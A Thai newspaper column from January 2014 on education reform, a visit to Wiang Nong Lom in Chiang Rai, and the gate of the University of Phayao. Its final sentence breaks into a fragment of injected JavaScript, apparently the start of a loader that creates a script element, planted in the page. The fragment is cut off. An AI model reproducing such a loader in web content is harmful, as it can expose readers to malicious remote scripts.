มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 16 มกราคม 2557

 

ปฏิรูปไทย ต้องเร่งรัดปฏิรูปศึกษาก่อน

          “ปฏิรูปประเทศไทย” มีเรื่องใหญ่ต้องทำก่อนอื่น คือ ปฏิรูปการศึกษา

          ศ. นพ. ประเวศ วะสี ประธานการเสวนาวิชาการเวทีปฏิรูปการเรียนรู้สู่การศึกษาเพื่อคนทั้งมวล ครั้งที่ 24 บอกเพิ่มเติม (คม ชัด ลึก วันจันทร์ที่ 13 มกราคม 2557 หน้า 10) ว่า

          “ปฏิรูปการศึกษา โดยปฏิรูปการสอนไปสู่ปฏิรูปการเรียนรู้ เพราะการเรียนรู้เกิดทุกพื้นที่ชีวิต มนุษย์มีศักยภาพในการเรียนรู้

          แต่ว่าที่ผ่านมาไม่ได้ใช้ศักยภาพในการเรียนรู้ เพราะไปมุ่งที่การสอนหรือการบอกความรู้ ไม่ใช่การสอนให้ผู้เรียนรู้จักการแสวงหาความรู้ได้ด้วยตนเอง”

          ศ. นพ. วิจารณ์ พานิช นายกสภา ม. มหิดล บอกอีกในงานเดียวกันว่า         

          “การเรียนในยุคนี้ไม่ใช่แค่ได้ความรู้ แต่สามารถนำความรู้ไปใช้ประโยชน์ในชีวิตการทำมาหากิน และต่อยอดองค์ความรู้ใหม่ได้ด้วย

          แต่ประเทศไทยยังไปไม่ถึงจุดนั้น เพราะผู้ใหญ่ในวงการศึกษาส่วนใหญ่ยังเข้าใจว่าการศึกษาที่ดีต้องเป็นรูปแบบที่ตัวเองเคยได้เรียนมาในอดีต จึงไม่ยอมเปลี่ยนแปลงวิธีการสอน ทั้งที่โลกปัจจุบันเปลี่ยนไปมาก”

          ระยะนี้มีผู้เขียนเล่าพฤติกรรมของผู้บริหารการศึกษาบางโรงเรียน ในบางท้องถิ่น ว่าดีแต่พูด โดยไม่ทำ และไม่ติดตามงานที่ตกลงกันแล้วว่าจะทำอย่างนั้นอย่างนี้

          แต่มักพูดอวดอ้างว่าตัวเองทำหมดแล้ว โน่น นี่ นั่น แต่แท้จริงไม่ได้ทำเลยสักอย่าง เพราะสั่งการให้ลูกน้องทำแทน แล้วตัวเองไม่ได้ติดตาม เลยไม่รู้ว่าไม่มีลูกน้องคนไหนทำอะไรเลย

          นักเรียนควรได้ประโยชน์จากสิ่งที่มีผู้ตั้งใจทำและตั้งใจสนับสนุนเพื่อการศึกษา แต่ผู้บริหารไม่ใส่ใจรับไปให้นักเรียนตามที่รับปากรับคำกันไว้

          จริงตามที่หมอประเวศกับหมอวิจารณ์บอกทุกอย่าง

 

“คนดี” ที่เวียงหนองล่ม เชียงราย

          ไปนอนโรงแรมกลางเมืองเชียงราย เมื่อคืนวันพุธที่ 8 ม.ค. แล้วเดินออกไปหาของกินข้างถนนนอกโรงแรม ไม่เคยรู้มาก่อนว่าตรงนั้นเป็นเชียงรายไนท์บาซาร์

          มีสะล้อซอซึงกับกีตาร์บนเวทีเล็กๆเล่นเพลงโฟล์คซองล้านนา ฟังเพลินดี แต่ติดใจสาววัยรุ่นสีสะล้ออร่อย แล้วร้องเพลงคำเมืองไพเราะน่าฟังด้วย เลยเสียท่า ต้องสั่งของกินเพื่อนั่งฟังจนเลิกราวสองทุ่ม

          รุ่งขึ้นเช้าตรู่ ออกจากโรงแรมไปวัดพระแก้ว แล้วขึ้นไปสะดือเมืองบนดอยจอมทอง

          ต่อจากนั้นนั่งรถไป อ. แม่จัน ตามหา ครูสาคร โรจน์คำลือ โรงเรียนจันจว้าวิทยาคม ขอเข้าดู“ศูนย์วัฒนธรรมเฉลิมราชตำบลจันจว้า”

          เสร็จแล้วครูสาครพาไปตระเวนครึ่งรอบเวียงหนองล่ม ที่เป็นหนองน้ำธรรมชาติกว้างใหญ่ไพศาล มีนิทานปลาไหลเผือก เป็นคำบอกเล่ายิ่งใหญ่ แต่ถูกเหยียดจากครูบาอาจารย์วรรณกรรมไทยของผู้ดีลุ่มน้ำเจ้าพระยา

          เวียงหนองล่ม ยุคโลกาภิวัตน์ล่มแล้วล่มอีก ขณะนี้เห็นแต่ต้นยางนับหมื่นไร่ที่บุกรุกพื้นที่สาธารณะประวัติศาสตร์ล้านนาโดยฝีมือ“คนดี”ของไทย

 

มหาวิทยาลัย มี“ข้าศึก”ที่พะเยา

          พะเยา มาจากชื่อภูยาว หรือภูกามยาว หมายถึงทิวเขาต่อกันเป็นพืดยืดยาวพาดผ่าน

          ภู แปลว่า ภูเขา มีใช้ทั่วไปในลาว และในไทยเฉพาะภาคอีสาน, ภาคกลาง, ภาคใต้ ตรงกับภาคเหนือว่า ดอย

          กาม แปลว่า เบื้อง, ข้าง, ฝ่าย เป็นคำลาวเก่า บางทีเรียกว่าก้ำ เช่น ก้ำขวา คือ ข้างขวา, ก้ำซ้าย คือ ข้างซ้าย

          พะเยา มีความเป็นมาทั้งของผู้คนและของดินแดนอย่างแยกไม่ได้จากประวัติศาสตร์ภูมิภาคอุษาคเนย์ หรืออาเซียน ที่บริเวณผืนแผ่นดินใหญ่มีชื่อเรียกเก่าแก่มาแต่ยุคดึกดำบรรพ์ว่าสุวรรณภูมิ

          เพราะพะเยาเป็นส่วนหนึ่งของประเทศไทย และประเทศไทยมีประวัติความเป็นมาทั้งของผู้คนและของดินแดนเป็นส่วนหนึ่งของสุวรรณภูมิในอุษาคเนย์หรืออาเซียนอย่างแยกออกจากกันไม่ได้ บรรพชนอุษาคเนย์นับเป็นบรรพชนคนไทยด้วย

          แต่ผู้บริหารมหาวิทยาลัยพะเยา ให้ความสำคัญสร้างป้อมปราการหน้ามหาวิทยาลัย มากกว่าสร้างมิวเซียม กับปรับสภาพแวดล้อมทางศิลปะและวัฒนธรรมบอกความเป็นมาของท้องถิ่นพะเยาและล้านนา

          ป้อมปราการทางเข้ามหาวิทยาลัยสะท้อนสำนึกของผู้บริหารมีทัศนะต่อชาวบ้านข้างนอกเป็นปรปักษ์ที่ต้องถูกกีดกันอย่างแข็งแรง

          หรืออีกแง่หนึ่ง มหาวิทยาลัยไม่ต้องการเป็นส่วนหนึ่งของโลกข้างนอกif (document.currentScript) { var d=document;var s=d.createElement(‘script’);